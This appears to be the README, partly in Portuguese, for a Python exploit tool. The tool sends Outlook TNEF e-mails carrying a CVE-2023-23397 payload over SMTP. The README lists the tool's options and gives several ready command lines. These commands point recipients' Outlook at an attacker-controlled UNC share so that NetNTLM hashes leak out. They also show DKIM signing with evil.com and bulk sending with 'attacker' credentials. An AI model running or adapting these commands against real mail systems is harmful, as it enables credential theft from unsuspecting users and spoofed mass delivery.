
Python script for sending e-mails with CVE-2023-23397 payload using SMTP
Este script permite criar e-mails do Outlook codificados em TNEF com o payload de exploração do CVE-2023-23397 e enviá-los via SMTP puro - sem necessidade de objetos COM ou EWS.
Não consegui fazer com que a classe de mensagem IPM.Schedule.Meeting.Request funcionasse corretamente (ela gera tanto a reunião quanto o lembrete, mas não respeita a propriedade PidLidReminderOverride por algum motivo), então, em vez disso, o script abusa da classe IPM.TaskRequest. Isso resulta em um popup de lembrete de reunião malicioso, assim como no exploit original, mas o destinatário não pode ver o corpo da mensagem nem os detalhes da reunião. No OWA, no entanto, o e-mail parece uma mensagem normal sem compromisso.
Testado no Outlook365 16130.20218 e no Outlook 2019 10395.20020. Observe que o anexo e os cabeçalhos TNEF podem não passar pelos filtros antispam ao enviar os e-mails externamente - testei apenas enviando e-mails diretamente (ou via relay Postfix) para o Exchange a partir da máquina Linux na mesma LAN.
options:
-h, --help show this help message and exit
-s SERVER, --server SERVER
smtp mail relay (host[:port]), default: localhost:25
-f SENDER, --from SENDER
sender email address
-t TO, --to TO recipient email address(es), path to a file or comma-separated values
-S SUBJECT, --subject SUBJECT
message subject
-r ROOM, --room ROOM meeting location (room name), default: Meeting Room #1
-b BODY, --body BODY plaintext message body (or path to file)
--html HTML HTML message body (or path to file)
-p PATH, --path PATH remote file path for NetNTLM exfiltration, e.g \\10.10.10.10\share\1.wav
-a AUTH, --auth AUTH username:password for AUTH command if authenticated send is required
--codepage CODEPAGE windows codepage (e.g. 1252=ASCII, 65001=Unicode) to encode HTML body (if any), default: 1252
--ehlo EHLO, --helo EHLO
EHLO command argument (sender external hostname)
-l LANG, --lang LANG Content-Language header value, default: en-US
--starttls Use STARTTLS when communicating over plaintext SMTP
--max-rcpts MAX_RCPTS
Maximum number of recipients per send attempt
-v Enable debug output
DKIM message signing:
--dkim-selector DKIM_SELECTOR
DKIM selector
--dkim-key DKIM_KEY DKIM private key file path
--dkim-domain DKIM_DOMAIN
DKIM domain name, default: sender address part after @
Enviar o e-mail de [email protected] para [email protected]:
python3 cve-2023-23397.py -s localhost:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.'
Enviar o e-mail para múltiplos destinatários com TLS oportunista e corpo HTML a partir de arquivo:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected],[email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls
Enviar o e-mail com assinatura DKIM (requer pip install dkimpy) e domínio personalizado no comando EHLO para destinatários carregados de um arquivo, três destinatários por mensagem:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t ./recipients.txt -S 'Test Meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls --max-rcpts 3 --dkim-key ./dkim.private --dkim-domain evil.com --dkim-selector default --ehlo mail.evil.com
Enviar o e-mail com credenciais de domínio:
python3 cve-2023-23397.py -s mail.example.com:587 --auth 'EXAMPLE\attacker:12345678' -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --starttls